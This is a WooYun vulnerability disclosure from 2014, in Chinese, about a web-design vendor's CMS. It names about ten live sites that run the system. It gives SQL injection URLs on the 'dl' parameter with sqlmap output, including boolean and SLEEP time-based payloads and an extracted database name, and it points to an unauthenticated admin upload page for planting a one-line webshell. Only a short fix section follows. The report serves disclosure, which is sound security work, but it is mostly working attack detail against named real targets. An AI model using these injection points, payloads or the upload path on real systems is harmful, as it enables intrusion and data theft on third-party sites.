当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075534

漏洞标题:某通用网站系统Sql注入漏洞&&前台getshell

相关厂商:联创互联(北京)科技有限公司

漏洞作者: 宇少

提交时间:2014-09-10 16:21

修复时间:2014-12-09 16:22

公开时间:2014-12-09 16:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

每一朵黑木耳都有一段粉红色的回忆!

详细说明:

联创互联(北京)科技有限公司-高端网站建设首选
网站建设,网站制作,做网站,北京网站建设,北京网站制作,网站设计,高端网站设计
废话不多说 直接进入主题 下面是给出的几个存在通用案例网站:

http://www.fymjjj.com/
http://www.pop1st.com/
http://www.jingzhipeng.com/
http://www.canakkale.com.cn/
http://www.unotimes.com/
http://www.athink.org/
http://www.bcghotel.com/
http://www.zcdiamond.com/
http://guanghua365.com/
http://www.samewayart.cn/


以上举出10个案例,还有一些我就都列出来 具体可以到官方网站上去找
http://www.lc787.com/case.html

漏洞证明:

#1 注入点:
http://www.kungking.cn/case.php?dl=1
http://www.jingzhipeng.com/about.php?dl=3
http://www.unotimes.com/about.php?dl=1
http://www.athink.org//about.php?dl=1
http://www.zcdiamond.com/about.php?dl=1
http://guanghua365.com/about.php?dl=1

GET parameter 'dl' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
---
Place: GET
Parameter: dl
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: dl=7 AND 6719=6719
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: dl=7 AND SLEEP(5)
---
[11:17:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0.11
[11:17:45] [INFO] fetching database names
[11:17:45] [INFO] fetching number of databases
[11:17:45] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:17:45] [INFO] retrieved:
[11:17:47] [INFO] retrieved:
[11:17:47] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
[11:17:49] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--he
[11:17:49] [ERROR] unable to retrieve the number of databases
[11:17:49] [INFO] falling back to current database
[11:17:49] [INFO] fetching current database
[11:17:49] [INFO] retrieved: webaisikao
available databases [1]:
[*] webaisikao


#2 前台直接getshell
访问
http://www.pop1st.com/admin/up.php
直接可以上传我们的一句话马

1.jpg


返回查看源代码获取上传马儿路径

1.jpg


修复方案:

#1 过滤参数
#2 对后台上传文件进行验证

版权声明:转载请注明来源 宇少@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝